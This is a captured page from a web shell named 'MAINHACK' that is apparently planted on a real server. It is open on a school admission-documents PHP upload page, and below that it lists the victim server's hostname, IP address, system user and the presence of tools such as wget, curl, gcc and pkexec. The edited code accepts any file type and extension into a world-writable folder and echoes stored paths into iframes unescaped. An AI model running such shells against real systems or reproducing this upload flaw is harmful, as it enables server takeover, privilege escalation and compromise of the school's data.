[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: admission-docs.php
<?php error_reporting(0); include("../functions.php"); if(!isset($_SESSION['dbmail_Xw211qAAsq4'])){ header("location:../auth-login"); } else { $s_code = $_SESSION['s_code_Xw2119904']; $uname = $_SESSION['name_Xw2119904']; $stmt = $con->prepare("SELECT * FROM schools WHERE user_name = ? AND school_code = ?"); $stmt->execute(array($uname, $s_code)); $userstatus = $stmt->fetchAll(); // Initialize $namee to prevent potential errors $namee = null; foreach ($userstatus as $sta) { $namee = $sta['user_name']; $userid = $sta['id']; $school_name = $sta['school_name']; } $stmt = $con->prepare("Select * from schools where school_code = ?"); $stmt->execute(array($s_code)); $row = $stmt->fetch(); $logo = $row['logo']; if(empty($logo)){ header("Location:complete-process"); } else { if (isset($_POST['pros'])) { $file1 = $_FILES['file1']; $originalFileName = $_FILES['file1']['name']; $fileType = $_FILES['file1']['type']; $fileTmpName = $_FILES['file1']['tmp_name']; $fileSize = $_FILES['file1']['size']; // Generate a random name for the file to avoid collisions $randomName = bin2hex(random_bytes(8)); // Generates a random 16-character string $fileExtension = pathinfo($originalFileName, PATHINFO_EXTENSION); $newFileName = $randomName . '.' . $fileExtension; // Define the folder to save the uploaded file $uploadFolder = 'admindocs/'; // Check MIME type $allowedMimeType = 'application/pdf'; $finfo = finfo_open(FILEINFO_MIME_TYPE); // Open fileinfo to check MIME type $mimeType = finfo_file($finfo, $fileTmpName); finfo_close($finfo); if (!file_exists($uploadFolder)) { mkdir($uploadFolder, 0777, true); } // The path where the file will be saved $destination = $uploadFolder . $newFileName; // Check if the file already exists in the database $file_name = "PROSPECTUS"; $f_active = 1; $stmt = $con->prepare("SELECT * FROM school_file WHERE file_name = ? and s_code = ?"); $stmt->execute(array($file_name,$s_code)); $existingFile = $stmt->fetch(); if ($existingFile) { // Delete the existing file from the server if (file_exists($existingFile['file'])) { unlink($existingFile['file']); } // Delete the existing entry from the database $stmt = $con->prepare("DELETE FROM school_file WHERE file_name = ? and s_code = ?"); $stmt->execute(array($file_name,$s_code)); } // Move the uploaded file to the destination folder move_uploaded_file($fileTmpName, $destination); // Insert the new file details into the database $stmt = $con->prepare("INSERT INTO school_file (s_code, file_name, file, f_active) VALUES (?, ?, ?, ?)"); $stmt->execute(array($s_code, $file_name, $destination, $f_active)); echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Success!', text: 'PROSPECTUS file uploaded successfully.', icon: 'success', confirmButtonText: 'OK' }); }); </script>"; } if (isset($_POST['undertake'])) { $file2 = $_FILES['file2']; $originalFileName = $_FILES['file2']['name']; $fileType = $_FILES['file2']['type']; $fileTmpName = $_FILES['file2']['tmp_name']; $fileSize = $_FILES['file2']['size']; // Generate a random name for the file to avoid collisions $randomName = bin2hex(random_bytes(8)); // Generates a random 16-character string $fileExtension = pathinfo($originalFileName, PATHINFO_EXTENSION); $newFileName = $randomName . '.' . $fileExtension; // Define the folder to save the uploaded file $uploadFolder = 'admindocs/'; // Check MIME type $allowedMimeType = 'application/pdf'; $finfo = finfo_open(FILEINFO_MIME_TYPE); // Open fileinfo to check MIME type $mimeType = finfo_file($finfo, $fileTmpName); finfo_close($finfo); if (!file_exists($uploadFolder)) { mkdir($uploadFolder, 0777, true); } // The path where the file will be saved $destination = $uploadFolder . $newFileName; // Check if the file already exists in the database $file_name = "UNDERTAKEN"; $f_active = 1; $stmt = $con->prepare("SELECT * FROM school_file WHERE file_name = ? and s_code = ?"); $stmt->execute(array($file_name,$s_code)); $existingFile = $stmt->fetch(); if ($existingFile) { // Delete the existing file from the server if (file_exists($existingFile['file'])) { unlink($existingFile['file']); } // Delete the existing entry from the database $stmt = $con->prepare("DELETE FROM school_file WHERE file_name = ? and s_code = ?"); $stmt->execute(array($file_name,$s_code)); } // Move the uploaded file to the destination folder move_uploaded_file($fileTmpName, $destination); // Insert the new file details into the database $stmt = $con->prepare("INSERT INTO school_file (s_code, file_name, file, f_active) VALUES (?, ?, ?, ?)"); $stmt->execute(array($s_code, $file_name, $destination, $f_active)); echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Success!', text: 'UNDERTAKEN file uploaded successfully.', icon: 'success', confirmButtonText: 'OK' }); }); </script>"; } if (isset($_POST['programme'])) { $file3 = $_FILES['file3']; $originalFileName = $_FILES['file3']['name']; $fileType = $_FILES['file3']['type']; $fileTmpName = $_FILES['file3']['tmp_name']; $fileSize = $_FILES['file3']['size']; // Generate a random name for the file to avoid collisions $randomName = bin2hex(random_bytes(8)); // Generates a random 16-character string $fileExtension = pathinfo($originalFileName, PATHINFO_EXTENSION); $newFileName = $randomName . '.' . $fileExtension; // Define the folder to save the uploaded file $uploadFolder = 'admindocs/'; // Check MIME type $allowedMimeType = 'application/pdf'; $finfo = finfo_open(FILEINFO_MIME_TYPE); // Open fileinfo to check MIME type $mimeType = finfo_file($finfo, $fileTmpName); finfo_close($finfo); if (!file_exists($uploadFolder)) { mkdir($uploadFolder, 0777, true); } // The path where the file will be saved $destination = $uploadFolder . $newFileName; // Check if the file already exists in the database $file_name = "PROGRAMME"; $f_active = 1; $stmt = $con->prepare("SELECT * FROM school_file WHERE file_name = ? and s_code = ?"); $stmt->execute(array($file_name,$s_code)); $existingFile = $stmt->fetch(); if ($existingFile) { // Delete the existing file from the server if (file_exists($existingFile['file'])) { unlink($existingFile['file']); } // Delete the existing entry from the database $stmt = $con->prepare("DELETE FROM school_file WHERE file_name = ? and s_code = ?"); $stmt->execute(array($file_name,$s_code)); } // Move the uploaded file to the destination folder move_uploaded_file($fileTmpName, $destination); // Insert the new file details into the database $stmt = $con->prepare("INSERT INTO school_file (s_code, file_name, file, f_active) VALUES (?, ?, ?, ?)"); $stmt->execute(array($s_code, $file_name, $destination, $f_active)); echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Success!', text: 'PROGRAMME/SUBJECT file uploaded successfully.', icon: 'success', confirmButtonText: 'OK' }); }); </script>"; } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Admission docs | Admission docs </title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="eliosof" name="author" /> <!-- App favicon --> <!-- <link rel="shortcut icon" href="assets/images/favicon.ico"> --> <!-- preloader css --> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <!-- Bootstrap Css --> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <!-- Icons Css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <!-- App Css--> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> <link href="assets/libs/sweetalert2/sweetalert2.min.css" rel="stylesheet" type="text/css" /> </head> <body> <!-- <body data-layout="horizontal"> --> <!-- Begin page --> <div id="layout-wrapper"> <?php include("includes/header.php");?> <?php include("includes/sidebar.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <!-- start page title --> <div class="row"> <div class="col-12"> <div class="page-title-box d-sm-flex align-items-center justify-content-between"> <h4 class="mb-sm-0 font-size-18">Admission Documents</h4> <div class="page-title-right"> <ol class="breadcrumb m-0"> <li class="breadcrumb-item"><a href="javascript: void(0);">Home</a></li> <li class="breadcrumb-item active">Admission Documents</li> </ol> </div> </div> </div> </div> <!-- end page title --> <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-body"> <div class="row justify-content-center"> <div class="col-xl-10"> <div class="timeline"> <div class="timeline-container"> <div class="timeline-continue"> <div class="row timeline-right"> <div class="col-md-6"> <div class="timeline-icon"> <i class="bx bx-briefcase-alt-2 text-primary h2 mb-0"></i> </div> <?php $status = "PROSPECTUS"; $stmt = $con->prepare("Select * from school_file where s_code = ? and file_name = ?"); $stmt->execute(array($s_code,$status)); $roww = $stmt->fetch(); $PROS = $roww['file']; echo "<iframe src='$PROS' width='100%' height='220px' style='border:none;'></iframe>"; echo "<br />"; echo "<a href='$PROS' target='_blank'>View PDF</a><br>"; ?> </div> <div class="col-md-6"> <div class="timeline-box"> <form method="POST" enctype="multipart/form-data"> <div class="event-content"> <div class="timeline-text"> <h3 class="font-size-18">PROSPECTUS</h3> <input type="file" name="file1" accept="application/pdf" required class="form-control"><br /> <?php if($namee != "Admin"){?> <?php $permission_name = 'admission_doc'; if (has_permission($userid, $permission_name,'can_create', $new)) { echo '<button type="submit" name="pros" class="btn btn-success">Upload</button>'; } else { echo '<button type="button" class="btn btn-primary waves-effect waves-light">No access</button>'; } ?> <?php } else {?> <button type="submit" name="pros" class="btn btn-success">Upload</button> <?php }?> </div> </div> </form> </div> </div> </div> <div class="row timeline-left"> <div class="col-md-6 d-md-none d-block"> <div class="timeline-icon"> <i class="bx bx-user-pin text-primary h2 mb-0"></i> </div> </div> <div class="col-md-6"> <div class="timeline-box"> <form method="POST" enctype="multipart/form-data"> <?php //echo csrf_token_tag(); ?> <div class="event-content"> <div class="timeline-text"> <h3 class="font-size-18">UNDERTAKING/MEDICAL FORM</h3> <br /> <input type="file" name="file2" required accept="application/pdf" class="form-control"><br /> <button type="submit" name="undertake" class="btn btn-success">Upload</button> </div> </div> </form> </div> </div> <div class="col-md-6 d-md-block d-none"> <div class="timeline-icon"> <i class="bx bx-user-pin text-primary h2 mb-0"></i> </div> <?php $status = "UNDERTAKEN"; $stmt = $con->prepare("Select * from school_file where s_code = ? and file_name = ?"); $stmt->execute(array($s_code,$status)); $roww = $stmt->fetch(); $PROS = $roww['file']; echo "<iframe src='$PROS' width='100%' height='220px' style='border:none;'></iframe>"; echo "<br />"; echo "<a href='$PROS' target='_blank'>View PDF</a><br>"; ?> </div> </div> <div class="row timeline-right"> <div class="col-md-6"> <div class="timeline-icon"> <i class="bx bx-bar-chart-square text-primary h2 mb-0"></i> </div> <?php $status = "PROGRAMME"; $stmt = $con->prepare("Select * from school_file where s_code = ? and file_name = ?"); $stmt->execute(array($s_code,$status)); $roww = $stmt->fetch(); $PROS = $roww['file']; echo "<iframe src='$PROS' width='100%' height='220px' style='border:none;'></iframe>"; echo "<br />"; echo "<a href='$PROS' target='_blank'>View PDF</a><br>"; ?> </div> <div class="col-md-6"> <div class="timeline-box"> <form method="POST" enctype="multipart/form-data"> <div class="event-content"> <div class="timeline-text"> <h3 class="font-size-18">PROGRAMME/SUBJECT COMBINATION</h3> <br /> <input type="file" name="file3" required accept="application/pdf" class="form-control"><br /> <button type="submit" name="programme" class="btn btn-success">Upload</button> </div> </div> </form> </div> </div> </div> </div> </div> </div> </div> </div> </div> <!-- end card body --> </div> <!-- end card --> </div> <!-- end col --> </div> <!-- end row --> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include("includes/footer.php");?> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <!-- Right Sidebar --> <div class="right-bar"> <div data-simplebar class="h-100"> <div class="rightbar-title d-flex align-items-center p-3"> <h5 class="m-0 me-2">Theme Customizer</h5> <a href="javascript:void(0);" class="right-bar-toggle ms-auto"> <i class="mdi mdi-close noti-icon"></i> </a> </div> <!-- Settings --> <hr class="m-0" /> <div class="p-4"> <h6 class="mb-3">Layout</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout" id="layout-vertical" value="vertical"> <label class="form-check-label" for="layout-vertical">Vertical</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout" id="layout-horizontal" value="horizontal"> <label class="form-check-label" for="layout-horizontal">Horizontal</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Mode</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-mode" id="layout-mode-light" value="light"> <label class="form-check-label" for="layout-mode-light">Light</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-mode" id="layout-mode-dark" value="dark"> <label class="form-check-label" for="layout-mode-dark">Dark</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Width</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-width" id="layout-width-fuild" value="fuild" onchange="document.body.setAttribute('data-layout-size', 'fluid')"> <label class="form-check-label" for="layout-width-fuild">Fluid</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-width" id="layout-width-boxed" value="boxed" onchange="document.body.setAttribute('data-layout-size', 'boxed')"> <label class="form-check-label" for="layout-width-boxed">Boxed</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Position</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-position" id="layout-position-fixed" value="fixed" onchange="document.body.setAttribute('data-layout-scrollable', 'false')"> <label class="form-check-label" for="layout-position-fixed">Fixed</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-position" id="layout-position-scrollable" value="scrollable" onchange="document.body.setAttribute('data-layout-scrollable', 'true')"> <label class="form-check-label" for="layout-position-scrollable">Scrollable</label> </div> <h6 class="mt-4 mb-3 pt-2">Topbar Color</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="topbar-color" id="topbar-color-light" value="light" onchange="document.body.setAttribute('data-topbar', 'light')"> <label class="form-check-label" for="topbar-color-light">Light</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="topbar-color" id="topbar-color-dark" value="dark" onchange="document.body.setAttribute('data-topbar', 'dark')"> <label class="form-check-label" for="topbar-color-dark">Dark</label> </div> <h6 class="mt-4 mb-3 pt-2 sidebar-setting">Sidebar Size</h6> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-default" value="default" onchange="document.body.setAttribute('data-sidebar-size', 'lg')"> <label class="form-check-label" for="sidebar-size-default">Default</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-compact" value="compact" onchange="document.body.setAttribute('data-sidebar-size', 'md')"> <label class="form-check-label" for="sidebar-size-compact">Compact</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-small" value="small" onchange="document.body.setAttribute('data-sidebar-size', 'sm')"> <label class="form-check-label" for="sidebar-size-small">Small (Icon View)</label> </div> <h6 class="mt-4 mb-3 pt-2 sidebar-setting">Sidebar Color</h6> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-light" value="light" onchange="document.body.setAttribute('data-sidebar', 'light')"> <label class="form-check-label" for="sidebar-color-light">Light</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-dark" value="dark" onchange="document.body.setAttribute('data-sidebar', 'dark')"> <label class="form-check-label" for="sidebar-color-dark">Dark</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-brand" value="brand" onchange="document.body.setAttribute('data-sidebar', 'brand')"> <label class="form-check-label" for="sidebar-color-brand">Brand</label> </div> <h6 class="mt-4 mb-3 pt-2">Direction</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-direction" id="layout-direction-ltr" value="ltr"> <label class="form-check-label" for="layout-direction-ltr">LTR</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-direction" id="layout-direction-rtl" value="rtl"> <label class="form-check-label" for="layout-direction-rtl">RTL</label> </div> </div> </div> <!-- end slimscroll-menu--> </div> <!-- /Right-bar --> <!-- Right bar overlay--> <div class="rightbar-overlay"></div> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> <script src="assets/libs/sweetalert2/sweetalert2.min.js"></script> <script src="assets/js/app.js"></script> </body> </html> <?php } }?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002